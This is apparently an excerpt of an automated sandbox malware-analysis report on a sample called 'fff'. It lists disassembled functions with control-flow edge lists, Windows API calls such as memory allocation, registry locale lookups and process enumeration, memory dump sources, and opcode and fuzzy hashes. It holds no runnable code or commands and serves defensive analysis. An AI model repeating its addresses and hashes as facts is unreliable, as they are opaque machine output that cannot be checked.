                                                                                                                        control_flow_graph 644 d31350-d3135d 645 d31366-d3136c 644->645 646 d3135f-d31364 644->646 647 d31372-d3138a VirtualAlloc 645->647 646->647 648 d313af-d313b2 647->648 649 d3138c-d31393 call d31204 647->649 651 d31398-d3139a 649->651 651->648 652 d3139c-d313ad VirtualFree 651->652 652->648
                                                                                                                        APIs
                                                                                                                        • VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,00D31659), ref: 00D3137F
                                                                                                                        • VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,00D31659), ref: 00D313A6
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1621058744.0000000000D2C000.00000040.00000001.01000000.00000009.sdmp, Offset: 00A50000, based on PE: true
                                                                                                                        • Associated: 00000017.00000002.1620832274.0000000000A50000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1620855278.0000000000A52000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000AA8000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BDC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BE9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000C09000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000D40000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000D46000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_a50000_fff.jbxd
                                                                                                                        Yara matches
                                                                                                                        Similarity
                                                                                                                        • API ID: Virtual$AllocFree
                                                                                                                        • String ID:
                                                                                                                        • API String ID: 2087232378-0
                                                                                                                        • Opcode ID: 021f7f7d385fbcbc3442af5d9182cc5a1ba322100f676e38d8130196e4991b43
                                                                                                                        • Instruction ID: 91cd11c0b4213228c19d5b85c0b5e740aa2a813ee0c0ac6cd92751c5315c01eb
                                                                                                                        • Opcode Fuzzy Hash: 021f7f7d385fbcbc3442af5d9182cc5a1ba322100f676e38d8130196e4991b43
                                                                                                                        • Instruction Fuzzy Hash: 6DF0A7BAF007222BDB606A6D4C81B9666D5DF99BA0F194171FA48EF3C9D6618C0442B1
                                                                                                                        Function 00D33C54 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 773 d33c54-d33c62 774 d33c64-d33c7b GetModuleFileNameA call d33e90 773->774 775 d33c8f-d33c9a 773->775 777 d33c80-d33c87 774->777 777->775 778 d33c89-d33c8c 777->778 778->775
                                                                                                                        APIs
                                                                                                                        • GetModuleFileNameA.KERNEL32(00D30000,?,00000105), ref: 00D33C72
                                                                                                                          • Part of subcall function 00D33E90: GetModuleFileNameA.KERNEL32(00000000,?,00000105,?,00D39090), ref: 00D33EAC
                                                                                                                          • Part of subcall function 00D33E90: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,?,00D39090), ref: 00D33ECA
                                                                                                                          • Part of subcall function 00D33E90: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,?,00D39090), ref: 00D33EE8
                                                                                                                          • Part of subcall function 00D33E90: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 00D33F06
                                                                                                                          • Part of subcall function 00D33E90: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,00D33F95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 00D33F4F
                                                                                                                          • Part of subcall function 00D33E90: RegQueryValueExA.ADVAPI32(?,00D340FC,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,00D33F95,?,80000001), ref: 00D33F6D
                                                                                                                          • Part of subcall function 00D33E90: RegCloseKey.ADVAPI32(?,00D33F9C,00000000,?,?,00000000,00D33F95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 00D33F8F
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1621058744.0000000000D2C000.00000040.00000001.01000000.00000009.sdmp, Offset: 00A50000, based on PE: true
                                                                                                                        • Associated: 00000017.00000002.1620832274.0000000000A50000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1620855278.0000000000A52000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000AA8000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BDC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BE9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000C09000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000D40000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000D46000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_a50000_fff.jbxd
                                                                                                                        Yara matches
                                                                                                                        Similarity
                                                                                                                        • API ID: Open$FileModuleNameQueryValue$Close
                                                                                                                        • String ID:
                                                                                                                        • API String ID: 2796650324-0
                                                                                                                        • Opcode ID: 760b71e1163fb45758f65914c5e85559dd2c83110186ac451cfe18b788eb6e4b
                                                                                                                        • Instruction ID: 65c432fe650b0c2c9ed265eb758dd11f991171df31b9c5ab3535a18ece53356d
                                                                                                                        • Opcode Fuzzy Hash: 760b71e1163fb45758f65914c5e85559dd2c83110186ac451cfe18b788eb6e4b
                                                                                                                        • Instruction Fuzzy Hash: 94E06571A002108BCB10DE689AC1A9633D8AB08750F040AA5FC58EF28AD3B1DE608BF0
                                                                                                                        Function 00D38048 Relevance: 1.5, APIs: 1, Instructions: 17processCOMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 779 d38048-d38055 call d37dcc 782 d38062-d38066 779->782 783 d38057-d38061 CreateToolhelp32Snapshot 779->783
                                                                                                                        APIs
                                                                                                                        • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000,?,?,00D3835F,00000000,00D383FF,?,?,?,00D3841C), ref: 00D38059
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1621058744.0000000000D2C000.00000040.00000001.01000000.00000009.sdmp, Offset: 00A50000, based on PE: true
                                                                                                                        • Associated: 00000017.00000002.1620832274.0000000000A50000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1620855278.0000000000A52000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000AA8000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BDC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BE9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000C09000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000D40000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000D46000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_a50000_fff.jbxd
                                                                                                                        Yara matches
                                                                                                                        Similarity
                                                                                                                        • API ID: CreateSnapshotToolhelp32
                                                                                                                        • String ID:
                                                                                                                        • API String ID: 3332741929-0
                                                                                                                        • Opcode ID: 0659544f11a1a2d6ff35cb72572e065384195f600d09e5789db4a08d4cf1eca3
                                                                                                                        • Instruction ID: 30cddd6e2f801e6b677ce337afe246c64f6246f33ace8e292d63f2b6d819e41b
                                                                                                                        • Opcode Fuzzy Hash: 0659544f11a1a2d6ff35cb72572e065384195f600d09e5789db4a08d4cf1eca3
                                                                                                                        • Instruction Fuzzy Hash: 84C08CE23027206B8F2066F83CC88D35B9CCE492B270804A2B609D3202D62A8C00A2F0
                                                                                                                        Function 00D38068 Relevance: 1.5, APIs: 1, Instructions: 17COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 784 d38068-d38075 call d37dcc 787 d38082-d38086 784->787 788 d38077-d38081 Module32First 784->788
                                                                                                                        APIs
                                                                                                                        • Module32First.KERNEL32(00000000,00000224), ref: 00D38079
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1621058744.0000000000D2C000.00000040.00000001.01000000.00000009.sdmp, Offset: 00A50000, based on PE: true
                                                                                                                        • Associated: 00000017.00000002.1620832274.0000000000A50000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1620855278.0000000000A52000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000AA8000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BDC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BE9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000C09000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000D40000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000D46000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_a50000_fff.jbxd
                                                                                                                        Yara matches
                                                                                                                        Similarity
                                                                                                                        • API ID: FirstModule32
                                                                                                                        • String ID:
                                                                                                                        • API String ID: 3757679902-0
                                                                                                                        • Opcode ID: c239efb08cdc35d8e7ef8b046c46b99e6ff07d2bbfaabefd7a73acec80aa2516
                                                                                                                        • Instruction ID: 8d41230370260c97d1a5c41dbc553b914186065e450a2a52f51f3a00f8286ee5
                                                                                                                        • Opcode Fuzzy Hash: c239efb08cdc35d8e7ef8b046c46b99e6ff07d2bbfaabefd7a73acec80aa2516
                                                                                                                        • Instruction Fuzzy Hash: A4C08CE2302720578B2066FC7CC88D3979CCE492B2B0804A2B608D3202D6298C04A2F0
                                                                                                                        Function 04F3BE88 Relevance: 1.5, Strings: 1, Instructions: 256COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 789 4f3be88-4f3be8b 790 4f3be94-4f3c18c 789->790 791 4f3be8d 789->791 790->789 791->790 792 4f3c191-4f3c1af 791->792 793 4f3c010-4f3c020 791->793 794 4f3bf14-4f3bfa1 call 4f32778 call 4f35380 call 4f32778 call 4f35380 791->794 795 4f3bffa-4f3c088 call 4f35fc8 call 4f35fe8 791->795 796 4f3bfdf 791->796 797 4f3c160-4f3c16b 791->797 798 4f3c120-4f3c139 791->798 799 4f3bec7-4f3bede 791->799 800 4f3bee5-4f3bf0d 791->800 801 4f3c0ce-4f3c11b 791->801 802 4f3bfae-4f3bfca 791->802 803 4f3bead 791->803 804 4f3c08d-4f3c0a6 791->804 848 4f3c1b6 792->848 830 4f3c022 793->830 831 4f3c029-4f3c0af call 4f3a938 793->831 808 4f3beb7-4f3beba 794->808 891 4f3bfa7-4f3bfa9 794->891 795->808 892 4f3bfe2 call 4f3c393 796->892 893 4f3bfe2 call 4f3a9d0 796->893 894 4f3bfe2 call 4f3c3b8 796->894 895 4f3bfe2 call 4f3a99c 796->895 797->790 828 4f3c171 797->828 811 4f3c14b 798->811 812 4f3c13b-4f3c147 798->812 807 4f3bee0-4f3bee3 799->807 799->808 800->808 841 4f3bf0f-4f3bf12 800->841 801->808 809 4f3bfda 802->809 810 4f3bfcc 802->810 803->796 803->808 807->808 808->796 814 4f3bec0 808->814 809->798 810->799 816 4f3bfd2-4f3bfd4 810->816 824 4f3c154 811->824 812->824 825 4f3c149 812->825 814->793 814->794 814->795 814->796 814->798 814->799 814->800 814->801 814->802 814->804 826 4f3c289 814->826 816->799 816->809 819 4f3bfe8-4f3bfea 819->800 829 4f3bff0-4f3bff5 819->829 824->826 825->824 845 4f3c28a 826->845 836 4f3c233-4f3c24c 828->836 829->808 830->831 831->796 867 4f3c0b5-4f3c0c3 831->867 849 4f3c24e-4f3c25c 836->849 850 4f3c26c-4f3c283 836->850 841->808 845->845 861 4f3c1c0-4f3c1d6 848->861 855 4f3c260-4f3c263 849->855 856 4f3c25e 849->856 850->855 868 4f3c285-4f3c287 850->868 855->826 862 4f3c265 855->862 856->855 877 4f3c200-4f3c225 861->877 878 4f3c1d8-4f3c1fe 861->878 862->826 867->808 872 4f3c0c9 867->872 868->826 868->855 872->808 877->789 885 4f3c22b-4f3c22e 877->885 878->877 885->789 885->836 891->808 892->819 893->819 894->819 895->819
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID: K\>n^
                                                                                                                        • API String ID: 0-3088841796
                                                                                                                        • Opcode ID: 8ddb80393ebe50dc14e9b3ee7b92a9a8b44ba59d6e4d745f4369a35edee93878
                                                                                                                        • Instruction ID: 2bec28a213753d498a1c4f95732b90d03fe9015b644bbee6b519473359adceb6
                                                                                                                        • Opcode Fuzzy Hash: 8ddb80393ebe50dc14e9b3ee7b92a9a8b44ba59d6e4d745f4369a35edee93878
                                                                                                                        • Instruction Fuzzy Hash: F9A1B031B00204CFEB18DBA8E454B6EB7E3EB84306F148568D502AB795DB74BC87DB91
                                                                                                                        Function 04F3F9F0 Relevance: 1.5, Strings: 1, Instructions: 209COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 896 4f3f9f0-4f3fa0f 897 4f3fa14-4f3fa17 896->897 898 4f3fcd8-4f3fce8 897->898 899 4f3fa1d 897->899 915 4f3fcf1-4f3fd0b call 4f3a938 898->915 916 4f3fcea 898->916 899->898 900 4f3fa70-4f3fa79 899->900 901 4f3fac0-4f3fad7 899->901 902 4f3fa64-4f3fa68 899->902 903 4f3fa24-4f3fa40 899->903 904 4f3fb2a-4f3fb32 899->904 905 4f3fbea-4f3fc31 899->905 906 4f3fc59-4f3fc6c 899->906 907 4f3fa9f-4f3fabb 899->907 908 4f3fc6e-4f3fc81 899->908 909 4f3fb04-4f3fb08 902->909 910 4f3fa6e-4f3faf1 902->910 903->897 929 4f3fa42-4f3fa44 903->929 912 4f3fb34-4f3fb36 904->912 913 4f3fb38-4f3fb62 904->913 953 4f3fc33-4f3fc35 905->953 954 4f3fbde-4f3fbe1 905->954 911 4f3fc83-4f3fc87 906->911 907->897 908->911 918 4f3fa7a-4f3fa9a 909->918 919 4f3fb0e-4f3fb1f 909->919 964 4f3faf4 call 78b050c 910->964 965 4f3faf4 call 78b0520 910->965 920 4f3fca0 911->920 921 4f3fc89-4f3fc9e 911->921 923 4f3fb64-4f3fb7b 912->923 913->923 944 4f3fd10-4f3fd24 915->944 916->915 918->897 919->897 927 4f3fb25 919->927 920->898 921->920 937 4f3fb81-4f3fb95 923->937 938 4f3fb7d-4f3fb7f 923->938 927->897 929->897 950 4f3fb97 937->950 951 4f3fb9e-4f3fbb9 937->951 942 4f3fbbb-4f3fc42 938->942 941 4f3fafa-4f3fb03 942->905 962 4f3fc44-4f3fc55 942->962 944->897 947 4f3fd2a 944->947 947->897 950->951 951->942 953->954 954->906 956 4f3fbe3 954->956 956->905 956->906 956->908 962->954 963 4f3fc57 962->963 963->954 964->941 965->941
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID: kQ
                                                                                                                        • API String ID: 0-2119452562
                                                                                                                        • Opcode ID: c5d4595e93258a76962b8590e60489b742ecb64872d8a07c0ee2b614a278be2f
                                                                                                                        • Instruction ID: 291e4b4adaedf5634f1341fc37c4b06e19d85f42636afa0ef7a3139ef57ddab9
                                                                                                                        • Opcode Fuzzy Hash: c5d4595e93258a76962b8590e60489b742ecb64872d8a07c0ee2b614a278be2f
                                                                                                                        • Instruction Fuzzy Hash: FF818D70F00205CFEB18DF64E558BAEB7F2EB84706F0481A9D406AB254DB74AD47CBA1
                                                                                                                        Function 04F3BEB2 Relevance: 1.4, Strings: 1, Instructions: 176COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 966 4f3beb2 967 4f3beb7-4f3beba 966->967 968 4f3bec0 967->968 969 4f3bfdf 967->969 968->969 970 4f3c010-4f3c020 968->970 971 4f3c120-4f3c139 968->971 972 4f3bec7-4f3bede 968->972 973 4f3bee5-4f3bf0d 968->973 974 4f3bf14-4f3bfa1 call 4f32778 call 4f35380 call 4f32778 call 4f35380 968->974 975 4f3bffa-4f3c088 call 4f35fc8 call 4f35fe8 968->975 976 4f3c289 968->976 977 4f3c0ce-4f3c11b 968->977 978 4f3bfae-4f3bfca 968->978 979 4f3c08d-4f3c0a6 968->979 1035 4f3bfe2 call 4f3c393 969->1035 1036 4f3bfe2 call 4f3a9d0 969->1036 1037 4f3bfe2 call 4f3c3b8 969->1037 1038 4f3bfe2 call 4f3a99c 969->1038 998 4f3c022 970->998 999 4f3c029-4f3c0af call 4f3a938 970->999 986 4f3c14b 971->986 987 4f3c13b-4f3c147 971->987 972->967 982 4f3bee0-4f3bee3 972->982 973->967 1006 4f3bf0f-4f3bf12 973->1006 974->967 1034 4f3bfa7-4f3bfa9 974->1034 975->967 994 4f3c28a 976->994 977->967 983 4f3bfda 978->983 984 4f3bfcc 978->984 981 4f3bfe8-4f3bfea 981->973 989 4f3bff0-4f3bff5 981->989 982->967 983->971 984->972 985 4f3bfd2-4f3bfd4 984->985 985->972 985->983 996 4f3c154 986->996 987->996 997 4f3c149 987->997 989->967 994->994 996->976 997->996 998->999 999->969 1019 4f3c0b5-4f3c0c3 999->1019 1006->967 1019->967 1023 4f3c0c9 1019->1023 1023->967 1034->967 1035->981 1036->981 1037->981 1038->981
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID: K\>n^
                                                                                                                        • API String ID: 0-3088841796
                                                                                                                        • Opcode ID: a210f7147973c65acd8b41c699147c2b0aff6a6f31c7560e8dce881a29f04080
                                                                                                                        • Instruction ID: 56758c11f846fc1c7362692510e7b0406eb4304d7edbc225c048e2a3675b3997
                                                                                                                        • Opcode Fuzzy Hash: a210f7147973c65acd8b41c699147c2b0aff6a6f31c7560e8dce881a29f04080
                                                                                                                        • Instruction Fuzzy Hash: 46617F31B04204CFEB18DB68D494B6DB7F3EB84306F148169D902AB799DB74BC86DB91
                                                                                                                        Function 04F366A8 Relevance: 1.4, Strings: 1, Instructions: 174COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID: K#
                                                                                                                        • API String ID: 0-1440445216
                                                                                                                        • Opcode ID: 6b2a1b093afc838d0fe51b0f524224ebd6ac78db56a6bd9f551c55d40c858420
                                                                                                                        • Instruction ID: a3891c7f88b3c1bc7b28615b096385e91706c3f1bc32abdd8a765e8d66c4d149
                                                                                                                        • Opcode Fuzzy Hash: 6b2a1b093afc838d0fe51b0f524224ebd6ac78db56a6bd9f551c55d40c858420
                                                                                                                        • Instruction Fuzzy Hash: 3E513934F012069FEB24DFB9C450A6EFBE6AF89215711862AD405EB754EF74EC038B91
                                                                                                                        Function 04F366B8 Relevance: 1.4, Strings: 1, Instructions: 171COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID: K#
                                                                                                                        • API String ID: 0-1440445216
                                                                                                                        • Opcode ID: 0789deab317c7e626fced34ec348bb38cc3076f5dd13a66a02540071033dbfdf
                                                                                                                        • Instruction ID: 75844668fc51d7893173feb28823706ff72b8068b28cdadfcc9a230f14d135c5
                                                                                                                        • Opcode Fuzzy Hash: 0789deab317c7e626fced34ec348bb38cc3076f5dd13a66a02540071033dbfdf
                                                                                                                        • Instruction Fuzzy Hash: FC513B34F012069BEB24DFA9C450A6EF7E6AF89215B508229E405EB754EB74FC038B91
                                                                                                                        Function 04F396B0 Relevance: 1.4, Strings: 1, Instructions: 121COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID: s@
                                                                                                                        • API String ID: 0-2533359417
                                                                                                                        • Opcode ID: 2cea4980561220beb8e4cf8197a7094120c472801803b8b8072a4c20f981a259
                                                                                                                        • Instruction ID: b694f62ca520e45ddb26ab6ca9528ae45c1c208f164acf406dc8cef7fa36510f
                                                                                                                        • Opcode Fuzzy Hash: 2cea4980561220beb8e4cf8197a7094120c472801803b8b8072a4c20f981a259
                                                                                                                        • Instruction Fuzzy Hash: 38419EB4F003118FEB29DF68E89095EBBE6AFC42047108569D505EB358EEB4FC068BD1
                                                                                                                        Function 04F3A716 Relevance: 1.4, Strings: 1, Instructions: 120COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID: $
                                                                                                                        • API String ID: 0-1178188002
                                                                                                                        • Opcode ID: 9df6d294116d67e83a26ceae32b2151c7ddfbf641f05520dc5638d0d3c03272d
                                                                                                                        • Instruction ID: 447d32c125910f2a08e5211ce2ebdfceb65137454b190ee826b86f30e6d8c0b1
                                                                                                                        • Opcode Fuzzy Hash: 9df6d294116d67e83a26ceae32b2151c7ddfbf641f05520dc5638d0d3c03272d
                                                                                                                        • Instruction Fuzzy Hash: FF419F71F00214CFE719DF69D480BAEB7F3FB84301F458569C546AB384EB74A8468BA1
                                                                                                                        Function 04F396C0 Relevance: 1.4, Strings: 1, Instructions: 114COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID: s@
                                                                                                                        • API String ID: 0-2533359417
                                                                                                                        • Opcode ID: 508108ca8290bb723d506c1d1cf463a0dd6b34d8bddb85d27a0d81f45cc27234
                                                                                                                        • Instruction ID: f052dd4b973715cf25821cf8ef67a85ed88c5e709e984ea5acad549398c90bb1
                                                                                                                        • Opcode Fuzzy Hash: 508108ca8290bb723d506c1d1cf463a0dd6b34d8bddb85d27a0d81f45cc27234
                                                                                                                        • Instruction Fuzzy Hash: 8D4180B4F103118FEB29DF68E89095EBBE6AFC42057108569D505EB358EEB4FC068BD1
                                                                                                                        Function 04F3C807 Relevance: 1.3, Strings: 1, Instructions: 95COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID: k:
                                                                                                                        • API String ID: 0-2754936642
                                                                                                                        • Opcode ID: a47f89f4324c14ab528282de15144ad26d764db7abf7a208041c5ef8498634fa
                                                                                                                        • Instruction ID: c14f472c8e99639af19017240db56b33c0202571bc1737c449f36f93797a957b
                                                                                                                        • Opcode Fuzzy Hash: a47f89f4324c14ab528282de15144ad26d764db7abf7a208041c5ef8498634fa
                                                                                                                        • Instruction Fuzzy Hash: DD41E874E00719CFEB68CFA9D940A9DB7F2FF85305F208169D409AB255EB70AA46CF40
                                                                                                                        Function 04F3CAE4 Relevance: 1.3, Strings: 1, Instructions: 88COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID: [[>n^
                                                                                                                        • API String ID: 0-1160532863
                                                                                                                        • Opcode ID: 7aba1f148e0ee59a4f1d10bf1a2c33ee593eba5c03ba695614f1b63ff05a0c82
                                                                                                                        • Instruction ID: 7c9343d9c46441d9fe40a199d066b3e4df983544c5f58c89276959260d64f677
                                                                                                                        • Opcode Fuzzy Hash: 7aba1f148e0ee59a4f1d10bf1a2c33ee593eba5c03ba695614f1b63ff05a0c82
                                                                                                                        • Instruction Fuzzy Hash: 70316D35F002508FEB68DB28E459769B7E7EB48306F4640A9D906E7380DB78AD41DFA1
                                                                                                                        Function 075B5D68 Relevance: 1.3, Strings: 1, Instructions: 56COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639591978.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_75b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID: PJq
                                                                                                                        • API String ID: 0-3194556807
                                                                                                                        • Opcode ID: 91b9d170740b2cfed0bcb9003614083cd6ac6d638156a70bd84cfff3ce14060d
